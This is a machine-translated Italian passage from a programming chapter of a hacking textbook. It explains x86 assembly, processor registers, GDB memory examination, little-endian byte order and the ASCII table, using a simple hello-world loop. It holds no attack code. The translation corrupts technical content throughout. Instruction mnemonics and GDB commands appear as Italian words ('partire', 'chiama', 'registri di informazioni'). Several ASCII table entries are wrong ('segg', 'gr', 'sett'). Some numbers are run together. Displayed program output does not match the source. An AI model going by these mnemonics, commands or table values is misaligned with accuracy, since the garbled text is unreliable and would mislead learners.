In piedi. Ma dal momento che 0101010110001001111001011000001111101100111100001. . .
non è molto utile a nient'altro che al processore, il codice macchina lo è
visualizzato come byte esadecimali e ogni istruzione viene inserita su una riga separata,
come dividere un paragrafo in frasi.
A pensarci bene, i byte esadecimali non sono davvero molto utili per loro-
anche i sé: è qui che entra in gioco il linguaggio assembly. Le istruzioni su
l'estrema destra sono in linguaggio assembly. Il linguaggio Assembly è davvero solo un colore
lezione di mnemonici per le corrispondenti istruzioni in linguaggio macchina.
L'istruzione ret è molto più facile da ricordare e da dare un senso a 0xc3 o
11000011 . A differenza del C e di altri linguaggi compilati, il linguaggio assembly
hanno una relazione diretta uno a uno con la macchina corrispondente
istruzioni in lingua. Ciò significa che poiché ogni architettura del processore ha
diverse istruzioni in linguaggio macchina, ognuna ha anche una forma diversa di
linguaggio assembly. L'assembly è solo un modo per i programmatori di rappresentare il file
istruzioni in linguaggio macchina fornite al processore. Esattamente come
queste istruzioni in linguaggio macchina sono rappresentate è semplicemente una questione di
convenzione e preferenza. Sebbene tu possa teoricamente creare il tuo x 86
sintassi del linguaggio assembly, la maggior parte delle persone si attacca a uno dei due tipi principali:
Sintassi AT&T e sintassi Intel. L'assieme mostrato nell'output a pagina 2 1
è la sintassi di AT&T, poiché quasi tutti gli strumenti di disassemblaggio di Linux utilizzano questa sintassi di
predefinito. È facile riconoscere la sintassi AT&T dalla cacofonia dei simboli % e $
anteponendo tutto (guarda di nuovo l'esempio a pagina 21 ). Lo stesso
il codice può essere visualizzato nella sintassi Intel fornendo una riga di comando aggiuntiva
opzione, -M intel , a objdump , come mostrato nell'output di seguito.

lettore @ hacking: ~ / booksrc $ objdump -M intel -D a.out | grep -A20 principale .:


08048374 <main>:
8048374: 55 push ebp
8048375: 89 e5 mov ebp, esp
8048377: 83 ec 08 sub esp, 0x8
804837a: 83 e4 f0 e esp, 0xfffffff0
804837d: b8 00 00 00 00 mov eax, 0x0
8048382: 29 c4 sub esp, eax
8048384: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-4], 0x0
804838b: 83 7d fc 09 cmp DWORD PTR [ebp-4], 0x9
804838f: 7e 02 jle 8048393 <principale + 0x1f>

22 0x200

Pagina 37

8048391: eb 13 jmp 80483a6 <main + 0x32>


8048393: c7 04 24 84 84 04 08 mov DWORD PTR [esp], 0x8048484
804839a: e8 01 ff ff ff chiama 80482a0 <printf @ plt>
804839f: 8d 45 fc lea eax, [ebp-4]
80483a2: ff 00 inc DWORD PTR [eax]
80483a4: eb e5 jmp 804838b <main + 0x17>
80483a6: c9 partire
80483a7: c3 ret
80483a8: 90 nop
80483a9: 90 nop
80483aa: 90 nop
lettore @ hacking: ~ / booksrc $

Personalmente, penso che la sintassi Intel sia molto più leggibile e facile da leggere
capire, quindi per gli scopi di questo libro, cercherò di attenermi a questa sintassi.
Indipendentemente dalla rappresentazione in linguaggio assembly, i comandi
cessor capisce sono abbastanza semplici. Queste istruzioni consistono in un'operazione
azioni e talvolta argomenti aggiuntivi che descrivono la destinazione
e / o la fonte dell'operazione. Queste operazioni spostano la memoria
intorno, eseguire una sorta di matematica di base o interrompere il processore per ottenerlo
fare qualcos'altro. Alla fine, questo è tutto ciò che un processore per computer può davvero
fare. Ma allo stesso modo milioni di libri sono stati scritti utilizzando un file relativamente
piccolo alfabeto di lettere, può essere un numero infinito di possibili programmi
creato utilizzando una raccolta relativamente piccola di istruzioni macchina.
I processori hanno anche il proprio set di variabili speciali chiamate registri . Maggior parte
delle istruzioni utilizzare questi registri per leggere o scrivere dati, quindi comprensione
i registri di un processore è essenziale per la comprensione delle istruzioni.
L'immagine più grande continua a ingrandirsi. . . .

0x252 Il processore x 86
La CPU 8086 è stata il primo processore x 86. È stato sviluppato e prodotto
da Intel, che in seguito ha sviluppato processori più avanzati nello stesso
famiglia: 80186, 80286, 80386 e 80486. Se ricordi le persone che parlano
circa 386 e 486 processori negli anni '80 e '90, ecco cosa erano
riferito a.
Il processore x 86 ha diversi registri, che sono come variabili interne
per il processore. Potrei parlare in modo astratto di questi registri ora, ma
Penso che sia sempre meglio vedere le cose di persona. Lo sviluppo GNU
gli strumenti includono anche un debugger chiamato GDB. I debugger sono usati dal programma-
mers per scorrere i programmi compilati, esaminare la memoria del programma e
visualizzare i registri del processore. Un programmatore che non ha mai usato un debugger per
guardare il funzionamento interno di un programma è come un medico del diciassettesimo secolo
chi non ha mai usato un microscopio. Simile a un microscopio, un debugger lo consente
un hacker per osservare il mondo microscopico del codice macchina, ma un debugger sì
molto più potente di quanto questa metafora consenta. A differenza di un microscopio, un debugger
può visualizzare l'esecuzione da tutte le angolazioni, metterla in pausa e modificare qualsiasi cosa
la via.

Programmazione 23

Pagina 38

Di seguito, GDB viene utilizzato per mostrare lo stato dei registri del processore subito prima
il programma si avvia.

lettore @ hacking: ~ / booksrc $ gdb -q ./a.out


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Punto di interruzione 1 a 0x804837a
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out

Breakpoint 1, 0x0804837a in main ()


(gdb) registri di informazioni
eax 0xbffff894 -1073743724
ecx 0x48e0fe81 1222704769
edx 0x1 1
ebx 0xb7fd6ff4 -1208127500
esp 0xbffff800 0xbffff800
ebp 0xbffff808 0xbffff808
esi 0xb8000ce0 -1207956256
edi 0x0 0
eip 0x804837a 0x804837a <principale + 6>
eflags 0x286 [PF SF IF]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) esci
Il programma è in esecuzione. Esci comunque? (y o n) y
lettore @ hacking: ~ / booksrc $

Un punto di interruzione è impostato sulla funzione main () , quindi l'esecuzione si interromperà correttamente
prima che il nostro codice venga eseguito. Quindi GDB esegue il programma, si ferma al
breakpoint, e gli viene detto di visualizzare tutti i registri del processore e il loro file
stati attuali.
I primi quattro registri ( EAX , ECX , EDX e EBX ) sono noti come generici
registri delle finalità. Questi sono chiamati accumulatore , contatore , dati e base
registri, rispettivamente. Sono usati per una varietà di scopi, ma principalmente
agiscono come variabili temporanee per la CPU quando è in esecuzione la macchina
Istruzioni.
Anche i secondi quattro registri ( ESP , EBP , ESI e EDI ) sono generali
registri di scopo, ma a volte sono noti come puntatori e indici.
Questi stanno per Stack Pointer , Base Pointer , Source Index e Destination Index ,
rispettivamente. I primi due registri sono chiamati puntatori perché memorizzano 32 bit
indirizzi, che essenzialmente puntano a quella posizione in memoria. Questi registri
sono abbastanza importanti per l'esecuzione del programma e la gestione della memoria; noi
discuterne più tardi. Gli ultimi due registri sono anche tecnicamente puntatori,

24 0x200

Pagina 39

che sono comunemente usati per puntare all'origine e alla destinazione quando i dati
deve essere letto o scritto. Sono disponibili istruzioni per il caricamento e il salvataggio
che usano questi registri, ma per la maggior parte, questi registri possono essere pensati
come semplici registri generici.
Il registro EIP è il registro del puntatore dell'istruzione , che punta al file
istruzione corrente che il processore sta leggendo. Come un bambino che punta il dito
ad ogni parola mentre legge, il processore legge ogni istruzione usando l'EIP
registrati come il suo dito. Naturalmente, questo registro è abbastanza importante e verrà utilizzato
molto durante il debug. Attualmente, punta a un indirizzo di memoria a 0x804838a .
Il registro EFLAGS rimanente consiste in realtà di diversi flag di bit che
vengono utilizzati per confronti e segmentazioni della memoria. La memoria effettiva è
suddiviso in diversi segmenti, che verranno discussi in seguito, e questi
i registri ne tengono traccia. Per la maggior parte, questi registri possono essere ignorati
poiché raramente è necessario accedervi direttamente.

0x253 linguaggio assembly


Poiché per questo libro utilizziamo il linguaggio assembly della sintassi Intel, i nostri strumenti
deve essere configurato per utilizzare questa sintassi. All'interno di GDB, la sintassi del disassemblaggio
può essere impostato su Intel semplicemente digitando set disassembly intel o set dis intel ,
in breve. Puoi configurare questa impostazione in modo che venga eseguita ogni volta che GDB viene avviato da
inserendo il comando nel file .gdbinit nella directory home.

lettore @ hacking: ~ / booksrc $ gdb -q


(gdb) set dis intel
(gdb) esci
reader @ hacking: ~ / booksrc $ echo "set dis intel"> ~ / .gdbinit
lettore @ hacking: ~ / booksrc $ cat ~ / .gdbinit
set dis intel
lettore @ hacking: ~ / booksrc $

Ora che GDB è configurato per utilizzare la sintassi Intel, iniziamo a capire
esso. Le istruzioni di assemblaggio nella sintassi Intel generalmente seguono questo stile:

operazione <destination>, <source>

I valori di destinazione e di origine saranno un registro, una memoria


indirizzo o un valore. Le operazioni sono solitamente mnemoniche intuitive: il mov
operazione spostare un valore dall'origine alla destinazione, sub sarà
sottrarre, inc incrementerà e così via. Ad esempio, le istruzioni
sotto sposterà il valore da ESP a EBP e quindi sottrarrà 8 da ESP
(memorizzazione del risultato in ESP).

8048375: 89 e5 mov ebp, esp


8048377: 83 ec 08 sub esp, 0x8

Programmazione 25

Pagina 40

Esistono anche operazioni che vengono utilizzate per controllare il flusso di esecuzione.
L' operazione cmp viene utilizzata per confrontare i valori e praticamente qualsiasi operazione
che inizia con j viene utilizzato per passare a una parte diversa del codice (a seconda
sul risultato del confronto). L'esempio seguente confronta prima un 4 byte
valore situato su EBP meno 4 con il numero 9. L'istruzione successiva è breve-
mano per salto se minore o uguale a , facendo riferimento al risultato del precedente
confronto. Se quel valore è minore o uguale a 9, l'esecuzione salta al file
istruzione a 0x8048393 . Altrimenti, l'esecuzione passa all'istruzione successiva
con un salto incondizionato. Se il valore non è minore o uguale a 9, exe-
cution salterà a 0x80483a6 .

804838b: 83 7d fc 09 cmp DWORD PTR [ebp-4], 0x9


804838f: 7e 02 jle 8048393 <principale + 0x1f>
8048391: eb 13 jmp 80483a6 <main + 0x32>

Questi esempi sono stati dal nostro precedente smontaggio, e lo abbiamo fatto
il nostro debugger è configurato per utilizzare la sintassi Intel, quindi usiamo il debugger per eseguire il passaggio
attraverso il primo programma a livello di istruzione di assemblaggio.
Il flag -g può essere utilizzato dal compilatore GCC per includere un debug aggiuntivo
informazioni, che daranno a GDB l'accesso al codice sorgente.

reader @ hacking: ~ / booksrc $ gcc -g firstprog.c


lettore @ hacking: ~ / booksrc $ ls -l a.out
-rwxr-xr-x 1 utenti matrice 11977 4 luglio 17:29 a.out
lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/libthread_db.so.1".
(gdb) elenco
1 #include <stdio.h>
2
3 int main ()
4{
5 int i;
6 per (i = 0; i <10; i ++)
7 {
8 printf ("Ciao, mondo! \ n");
9 }
10}
(gdb) smontare main
Dump del codice assembler per la funzione main ():
0x08048384 <main + 0>: push ebp
0x08048385 <principale + 1>: mov ebp, esp
0x08048387 <principale + 3>: sub esp, 0x8
0x0804838a <main + 6>: e esp, 0xfffffff0
0x0804838d <main + 9>: mov eax, 0x0
0x08048392 <main + 14>: sub esp, eax
0x08048394 <main + 16>: mov DWORD PTR [ebp-4], 0x0
0x0804839b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
0x0804839f <main + 27>: jle 0x80483a3 <main + 31>
0x080483a1 <principale + 29>: jmp 0x80483b6 <principale + 50>

26 0x200
Pagina 41

0x080483a3 <main + 31>: mov DWORD PTR [esp], 0x80484d4


0x080483aa <main + 38>: chiama 0x80482a8 <_init + 56>
0x080483af <main + 43>: lea eax, [ebp-4]
0x080483b2 <main + 46>: incl DWORD PTR [eax]
0x080483b4 <main + 48>: jmp 0x804839b <main + 23>
0x080483b6 <main + 50>: abbandona
0x080483b7 <principale + 51>: ret
Fine del dump dell'assemblatore.
(gdb) break main
Breakpoint 1 in 0x8048394: file firstprog.c, riga 6.
(gdb) esegui
Avvio del programma: /hacking/a.out

Breakpoint 1, main () in firstprog.c: 6


6 per (i = 0; i <10; i ++)
(gdb) registro info eip
eip 0x8048394 0x8048394
(gdb)

In primo luogo, viene elencato il codice sorgente e lo smontaggio della funzione main ()
È visualizzato. Quindi viene impostato un punto di interruzione all'inizio di main () e il programma è
correre. Questo punto di interruzione dice semplicemente al debugger di sospendere l'esecuzione di
programma quando si arriva a quel punto. Poiché il punto di interruzione è stato impostato in
inizio della funzione main () , il programma raggiunge il punto di interruzione e si ferma
prima di eseguire effettivamente qualsiasi istruzione in main () . Quindi il valore di EIP
(il puntatore dell'istruzione) viene visualizzato.
Si noti che EIP contiene un indirizzo di memoria che punta a un'istruzione in
il disassemblaggio della funzione main () (mostrato in grassetto). Le istruzioni prima di questo
(mostrato in corsivo) sono noti collettivamente come prologo della funzione e sono
erato dal compilatore per impostare la memoria per il resto delle funzioni main ()
variabili locali. Parte del motivo per cui le variabili devono essere dichiarate in C è di aiuto
la costruzione di questa sezione di codice. Il debugger conosce questa parte di
il codice viene generato automaticamente ed è abbastanza intelligente da saltarlo. Parleremo
più avanti sul prologo della funzione, ma per ora possiamo prendere spunto da
GDB e saltalo.
Il debugger GDB fornisce un metodo diretto per esaminare la memoria, utilizzando
il comando x , che è l'abbreviazione di exam . L'esame della memoria è fondamentale
abilità per qualsiasi hacker. La maggior parte degli exploit degli hacker sono molto simili ai trucchi magici: loro
sembra incredibile e magico, a meno che tu non sappia di giochi di prestigio e
sviamento. Sia nella magia che nell'hacking, se dovessi guardare nel modo giusto
spot, il trucco sarebbe ovvio. Questo è uno dei motivi per cui un buon mago
non fa mai lo stesso trucco due volte. Ma con un debugger come GDB, ogni aspetto
dell'esecuzione di un programma può essere esaminato in modo deterministico, messo in pausa, sottoposto a gradini
e ripetuto tutte le volte che è necessario. Poiché un programma in esecuzione è principalmente
solo un processore e segmenti di memoria, esaminare la memoria è il primo modo
per vedere cosa sta realmente accadendo.
Il comando e x amine in GDB può essere usato per guardare un certo indirizzo
di memoria in una varietà di modi. Questo comando prevede due argomenti quando
è usato: la posizione in memoria da esaminare e come visualizzare quella memoria.

Programmazione 27

Pagina 42

Il formato di visualizzazione utilizza anche una scorciatoia di una sola lettera, che è facoltativamente
preceduto da un conteggio del numero di elementi da esaminare. Alcuni formati comuni
le lettere sono le seguenti:

o Visualizzazione in ottale.
x Visualizzazione in esadecimale.
u Visualizzazione in decimale base 10 standard senza segno.
t Visualizza in binario.

Questi possono essere usati con il comando e x amine per esaminarne un certo
indirizzo di memoria. Nell'esempio seguente, l'indirizzo corrente dell'EIP
viene utilizzato il registro. I comandi abbreviati sono spesso usati con GDB e persino
registro info eip può essere abbreviato in solo ir eip .

(gdb) ir eip
eip 0x8048384 0x8048384 <principale + 16>
(gdb) x / o 0x8048384
0x8048384 <principale + 16>: 077042707
(gdb) x / x $ eip
0x8048384 <principale + 16>: 0x00fc45c7
(gdb) x / u $ eip
0x8048384 <principale + 16>: 16532935
(gdb) x / t $ eip
0x8048384 <principale + 16>: 00000000111111000100010111000111
(gdb)

La memoria a cui punta il registro EIP può essere esaminata utilizzando il


indirizzo memorizzato in EIP. Il debugger ti consente di fare riferimento direttamente ai registri, quindi $ eip
è equivalente al valore che EIP contiene in quel momento. Il valore 077042707 in
ottale è uguale a 0x00fc45c7 in esadecimale, che è uguale a 16532935 in
decimale in base 10, che a sua volta è uguale a 00000000111111000100010111000111
in binario. È inoltre possibile anteporre un numero al formato del composto e x ammina
mandato di esaminare più unità all'indirizzo di destinazione.

(gdb) x / 2x $ eip
0x8048384 <principale + 16>: 0x00fc45c7 0x83000000
(gdb) x / 12x $ eip
0x8048384 <principale + 16>: 0x00fc45c7 0x83000000 0x7e09fc7d 0xc713eb02
0x8048394 <principale + 32>: 0x84842404 0x01e80804 0x8dffffff 0x00fffc45
0x80483a4 <principale + 48>: 0xc3c9e5eb 0x90909090 0x90909090 0x5de58955
(gdb)

La dimensione predefinita di una singola unità è un'unità di quattro byte chiamata parola . La dimensione
delle unità di visualizzazione per il comando e x amine possono essere modificate aggiungendo a
lettera di dimensioni alla fine della lettera di formato. Le lettere di dimensioni valide sono le seguenti:
b Un singolo byte
h Una mezza parola, che ha una dimensione di due byte
w Una parola, che ha una dimensione di quattro byte
g Un gigante, che ha una dimensione di otto byte

28 0x200

Pagina 43

Questo crea un po 'di confusione, perché a volte il termine parola si riferisce anche a
Valori a 2 byte. In questo caso una doppia parola o DWORD si riferisce a un valore di 4 byte. In questo
libro, parole e DWORD si riferiscono entrambi a valori a 4 byte. Se sto parlando di un file
Valore di 2 byte, lo chiamerò una parola corta o una mezza parola. Il seguente output di GDB mostra
memoria visualizzata in varie dimensioni.

(gdb) x / 8xb $ eip


0x8048384 <principale + 16>: 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00 0x83
(gdb) x / 8xh $ eip
0x8048384 <principale + 16>: 0x45c7 0x00fc 0x0000 0x8300 0xfc7d 0x7e09 0xeb02 0xc713
(gdb) x / 8xw $ eip
0x8048384 <principale + 16>: 0x00fc45c7 0x83000000 0x7e09fc7d 0xc713eb02
0x8048394 <principale + 32>: 0x84842404 0x01e80804 0x8dffffff 0x00fffc45
(gdb)

Se guardi da vicino, potresti notare qualcosa di strano nei dati sopra.


Il primo comando e x amine mostra i primi otto byte e, naturalmente, il
e x comandi di ammina che utilizzano unità più grandi visualizzano più dati in totale. Però,
la prima e x ammina mostra che i primi due byte sono 0xc7 e 0x45 , ma quando a
halfword viene esaminata allo stesso identico indirizzo di memoria, il valore 0x45c7 è
mostrato, con i byte invertiti. Questo stesso effetto di inversione di byte può essere visto
quando una parola di quattro byte completa viene mostrata come 0x00fc45c7 , ma quando i primi quattro byte
vengono visualizzati byte per byte, sono nell'ordine 0xc7 , 0x45 , 0xfc e 0x00 .
Questo perché sul processore x 86 i valori sono memorizzati in little endian
ordine dei byte , il che significa che il byte meno significativo viene memorizzato per primo. Per esempio,
se quattro byte devono essere interpretati come un unico valore, devono essere utilizzati i byte
in ordine inverso. Il debugger GDB è abbastanza intelligente da sapere come valorizza
vengono memorizzati, quindi quando viene esaminata una parola o una mezza parola, i byte devono essere
invertito per visualizzare i valori corretti in esadecimale. Rivisitando questi
i valori visualizzati sia come decimali esadecimali che senza segno potrebbero essere utili
chiarisci ogni confusione.

(gdb) x / 4xb $ eip


0x8048384 <principale + 16>: 0xc7 0x45 0xfc 0x00
(gdb) x / 4ub $ eip
0x8048384 <principale + 16>: 199 69252 0
(gdb) x / 1xw $ eip
0x8048384 <principale + 16>: 0x00fc45c7
(gdb) x / 1uw $ eip
0x8048384 <principale + 16>: 16532935
(gdb) esci
Il programma è in esecuzione. Esci comunque? (y o n) y
lettore @ hacking: ~ / booksrc $ bc -ql
199 * (256 ^ 3) + 69 * (256 ^ 2) + 252 * (256 ^ 1) + 0 * (256 ^ 0)
3343252480
0 * (256 ^ 3) + 252 * (256 ^ 2) + 69 * (256 ^ 1) + 199 * (256 ^ 0)
16532935
smettere
lettore @ hacking: ~ / booksrc $

Programmazione 29

Pagina 44

I primi quattro byte vengono visualizzati sia in formato esadecimale che standard senza segno
notazione decimale. Un programma di calcolo della riga di comando chiamato bc viene utilizzato per mostrare
che se i byte vengono interpretati nell'ordine errato, un orribilmente errato
il valore di 3343252480 è il risultato. L'ordine dei byte di una data architettura è un file
dettaglio importante di cui essere a conoscenza. Mentre la maggior parte degli strumenti di debug e dei compilatori
si prenderà cura dei dettagli dell'ordine dei byte automaticamente, eventualmente lo farai tu
manipola direttamente la memoria da solo.
Oltre a convertire l'ordine dei byte, GDB può eseguire altre conversioni con
il comando e x ammina. Abbiamo già visto che GDB può smontare la macchina
istruzioni in lingua in istruzioni di assemblaggio leggibili dall'uomo. La e x ammina
Il comando accetta anche il formato lettera i , abbreviazione di istruzione , per visualizzare il file
memoria come istruzioni smontate in linguaggio assembly.

lettore @ hacking: ~ / booksrc $ gdb -q ./a.out


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 in 0x8048384: file firstprog.c, riga 6.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out

Breakpoint 1, main () in firstprog.c: 6


6 per (i = 0; i <10; i ++)
(gdb) ir $ eip
eip 0x8048384 0x8048384 <principale + 16>
(gdb) x / i $ eip
0x8048384 <main + 16>: mov DWORD PTR [ebp-4], 0x0
(gdb) x / 3i $ eip
0x8048384 <main + 16>: mov DWORD PTR [ebp-4], 0x0
0x804838b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
0x804838f <main + 27>: jle 0x8048393 <main + 31>
(gdb) x / 7xb $ eip
0x8048384 <principale + 16>: 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00
(gdb) x / i $ eip
0x8048384 <main + 16>: mov DWORD PTR [ebp-4], 0x0
(gdb)

Nell'output sopra, il programma a.out viene eseguito in GDB, con un punto di interruzione
impostato su main (). Poiché il registro EIP punta alla memoria che effettivamente con-
contiene istruzioni in linguaggio macchina, si smontano abbastanza bene.
Il precedente disassemblaggio di objdump conferma che l'EIP a sette byte è
indicando in realtà sono il linguaggio macchina per l'assembly corrispondente
istruzione.

8048384: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-4], 0x0

Questa istruzione di assemblaggio sposterà il valore di 0 nella memoria individuata


all'indirizzo memorizzato nel registro EBP, meno 4. Qui è dove la variabile C
abile i è archiviato in memoria; sono stato dichiarato come un numero intero che utilizza 4 byte di
memoria sul processore x 86. Fondamentalmente, questo comando azzererà il file

30 0x200

Pagina 45

variabile i per il ciclo for. Se quella memoria viene esaminata adesso, lo farà
non contengono altro che spazzatura casuale. La memoria in questa posizione può essere
esaminato in diversi modi.

(gdb) ir ebp
ebp 0xbffff808 0xbffff808
(gdb) x / 4xb $ ebp - 4
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) x / 4xb 0xbffff804
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) print $ ebp - 4
$ 1 = (void *) 0xbffff804
(gdb) x / 4xb $ 1
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) x / xw $ 1
0xbffff804: 0x080483c0
(gdb)

Viene mostrato che il registro EBP contiene l'indirizzo 0xbffff808 e il file


l'istruzione di assemblaggio scriverà su un valore offset inferiore di 4,
0xbffff804 .
Il comando e x amine può esaminare questo indirizzo di memoria
direttamente o facendo i calcoli al volo. Il comando di stampa può anche essere
usato per fare semplici calcoli, ma il risultato è memorizzato in una variabile temporanea in
il debugger. Questa variabile denominata $ 1 può essere utilizzata successivamente per un rapido accesso
una posizione particolare nella memoria. Uno qualsiasi dei metodi mostrati sopra si adatterà
eseguire la stessa operazione: visualizzare i 4 garbage bytes trovati in memoria che
verrà azzerato quando viene eseguita l'istruzione corrente.
Eseguiamo l'istruzione corrente usando il comando nexti , che è
abbreviazione per la prossima istruzione . Il processore leggerà l'istruzione in EIP, eseguirà
e far avanzare l'EIP all'istruzione successiva.

(gdb) nexti
0x0804838b 6 per (i = 0; i <10; i ++)
(gdb) x / 4xb $ 1
0xbffff804: 0x00 0x00 0x00 0x00
(gdb) x / dw $ 1
0xbffff804: 0
(gdb) ir eip
eip 0x804838b 0x804838b <principale + 23>
(gdb) x / i $ eip
0x804838b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
(gdb)

Come previsto, il comando precedente azzera i 4 byte trovati su EBP


meno 4, che è la memoria riservata alla variabile C i . Quindi EIP avanza a
la prossima istruzione. Le prossime istruzioni hanno effettivamente più senso
parlare in un gruppo.

Programmazione 31

Pagina 46

(gdb) x / 10i $ eip


0x804838b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
0x804838f <main + 27>: jle 0x8048393 <main + 31>
0x8048391 <main + 29>: jmp 0x80483a6 <main + 50>
0x8048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
0x804839f <main + 43>: lea eax, [ebp-4]
0x80483a2 <main + 46>: incl DWORD PTR [eax]
0x80483a4 <main + 48>: jmp 0x804838b <main + 23>
0x80483a6 <main + 50>: abbandona
0x80483a7 <principale + 51>: ret
(gdb)
La prima istruzione, cmp , è un'istruzione di confronto, che metterà a confronto
la memoria utilizzata dalla variabile C i con il valore 9. L'istruzione successiva,
jle sta per jump se minore o uguale a . Utilizza i risultati del precedente
confronto (che sono effettivamente memorizzati nel registro EFLAGS) per saltare EIP
per puntare a una parte diversa del codice se la destinazione del precedente
l'operazione di confronto è minore o uguale alla sorgente. In questo caso il file
l'istruzione dice di saltare all'indirizzo 0x8048393 se il valore è salvato in memoria
per la variabile C i è minore o uguale al valore 9. Se non è così,
l'EIP continuerà con l'istruzione successiva, che è un salto incondizionato
istruzione. Ciò farà sì che l'EIP salti all'indirizzo 0x80483a6 . Questi
tre istruzioni si combinano per creare una struttura di controllo if-then-else: If the i
è minore o uguale a 9, quindi vai all'istruzione all'indirizzo 0x8048393 ; altrimenti,
vai alle istruzioni all'indirizzo 0x80483a6 . Il primo indirizzo di 0x8048393 (mostrato in
grassetto) è semplicemente l'istruzione che si trova dopo l'istruzione di salto fisso e
il secondo indirizzo di 0x80483a6 (mostrato in corsivo) si trova alla fine del file
funzione.
Poiché sappiamo che il valore 0 è memorizzato nella posizione di memoria che viene
abbinato al valore 9, e sappiamo che 0 è minore o uguale a 9, EIP
dovrebbe essere a 0x8048393 dopo aver eseguito le due istruzioni successive.

(gdb) nexti
0x0804838f 6 per (i = 0; i <10; i ++)
(gdb) x / i $ eip
0x804838f <main + 27>: jle 0x8048393 <main + 31>
(gdb) nexti
8 printf ("Ciao, mondo! \ n");
(gdb) ir eip
eip 0x8048393 0x8048393 <principale + 31>
(gdb) x / 2i $ eip
0x8048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb)

Come previsto, le due istruzioni precedenti consentono l'esecuzione del programma


flusso fino a 0x8048393 , che ci porta alle due istruzioni successive. Il

32 0x200

Pagina 47

la prima istruzione è un'altra istruzione mov che scriverà l'indirizzo 0x8048484


nell'indirizzo di memoria contenuto nel registro ESP. Ma cos'è ESP
puntando a?

(gdb) ir esp
esp 0xbffff800 0xbffff800
(gdb)

Attualmente, ESP punta all'indirizzo di memoria 0xbffff800 , quindi quando il file mov
viene eseguita l'istruzione, qui viene scritto l'indirizzo 0x8048484 . Ma perché? Cosa c'è
così speciale per l'indirizzo di memoria 0x8048484 ? C'è un modo per scoprirlo.

(gdb) x / 2xw 0x8048484


0x8048484: 0x6c6c6548 0x6f57206f
(gdb) x / 6xb 0x8048484
0x8048484: 0x48 0x65 0x6c 0x6c 0x6f 0x20
(gdb) x / 6ub 0x8048484
0x8048484: 72101108108111 32
(gdb)

Un occhio allenato potrebbe notare qualcosa nella memoria qui, in par-


ticular l'intervallo dei byte. Dopo aver esaminato la memoria abbastanza a lungo,
questi tipi di modelli visivi diventano più evidenti. Questi byte rientrano
l'intervallo ASCII stampabile. ASCII è uno standard concordato che mappa
tutti i caratteri sulla tastiera (e alcuni che non lo sono) a numeri fissi.
I byte 0x48 , 0x65 , 0x6c e 0x6f corrispondono tutti alle lettere dell'alfabeto su
la tabella ASCII mostrata di seguito. Questa tabella si trova nella pagina man per ASCII,
disponibile sulla maggior parte dei sistemi Unix digitando man ascii .

Tabella ASCII

Ott dic. Esadecimale Ott dic. Esadecimale


-------------------------------------------------- ----------
000 0 00 NUL '\ 0' 100 64 40 @
001 1 01 SOH 101 65 41 A
002 2 02 STX 102 66 42 B
003 3 03 ETX 103 67 43 C
004 4 04 EOT 104 68 44 D
005 5 05 ENQ 105 69 45 E
006 6 06 ACK 106 70 46 F.
007 7 07 BEL '\ a' 107 71 47 G
010 8 08 BS '\ b' 110 72 48 H
011 9 09 HT '\ t' 111 73 49 I.
012 10 0A LF '\ n' 112 74 4A J
013 11 0B VT '\ v' 113 75 4B K
014 12 0C FF '\ f' 114 76 4C L
015 13 0D CR '\ r' 115 77 4D M
016 14 0E SO 116 78 4E N
017 15 0F SI 117 79 4F O
020 16 10 DLE 120 80 50 P
021 17 11 DC1 121 81 51 Q

Programmazione 33

Pagina 48
022 18 12 DC2 122 82 52 R
023 19 13 DC3 123 83 53 S
024 20 14 DC4 124 84 54 T
025 21 15 NAK 125 85 55 U
026 22 16 SYN 126 86 56 V
027 23 17 ETB 127 87 57 W.
030 24 18 CAN 130 88 58 X
031 25 19 EM 131 89 59 Y
032 26 1A SUB 132 90 5A Z
033 27 1B ESC 133 91 5B [
034 28 1C FS 134 92 5C \ '\\'
035 29 1D GS 135 93 5D]
036 30 1E RS 136 94 5E ^
037 31 1F US 137 95 5F _
040 32 20 SPAZIO 140 96 60 "
041 33 21! 141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25% 145101 65 e
046 38 26 e 146102 66 segg
047 39 27 » 147103 67 gr
050 40 28 ( 150104 68 h
051 41 29) 151 105 69 i
052 42 2A * 152106 6A j
053 43 2B + 153107 6B k
054 44 2C, 154108 6C l
055 45 2D - 155109 6D m
056 46 2E. 156 110 6E n
057 47 2F / 157111 6F o
060 48 30 0 160112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165117 75 u
066 54 36 6 166118 76 v
067 55 37 7 167 119 77 sett
070 56 38 8 170120 78 x
071 57 39 9 171 121 79 a
072 58 3A: 172 122 7A z
073 59 3B; 173 123 7B {
074 60 3C < 174 124 7C |
075 61 3D = 175 125 7D}
076 62 3E> 176 126 7E ~
077 63 3F? 177127 7F DEL

Per fortuna, il comando e x amine di GDB contiene anche disposizioni per la ricerca
in questo tipo di memoria. La lettera in formato c può essere utilizzata automaticamente
cerca un byte nella tabella ASCII e la lettera in formato s mostrerà un
intera stringa di dati carattere.

34 0x200

Pagina 49

(gdb) x / 6cb 0x8048484


0x8048484: 72 'H' 101 'e' 108 'l' 108 'l' 111 'o' 32 ''
(gdb) x / s 0x8048484
0x8048484: "Ciao mondo! \ N"
(gdb)

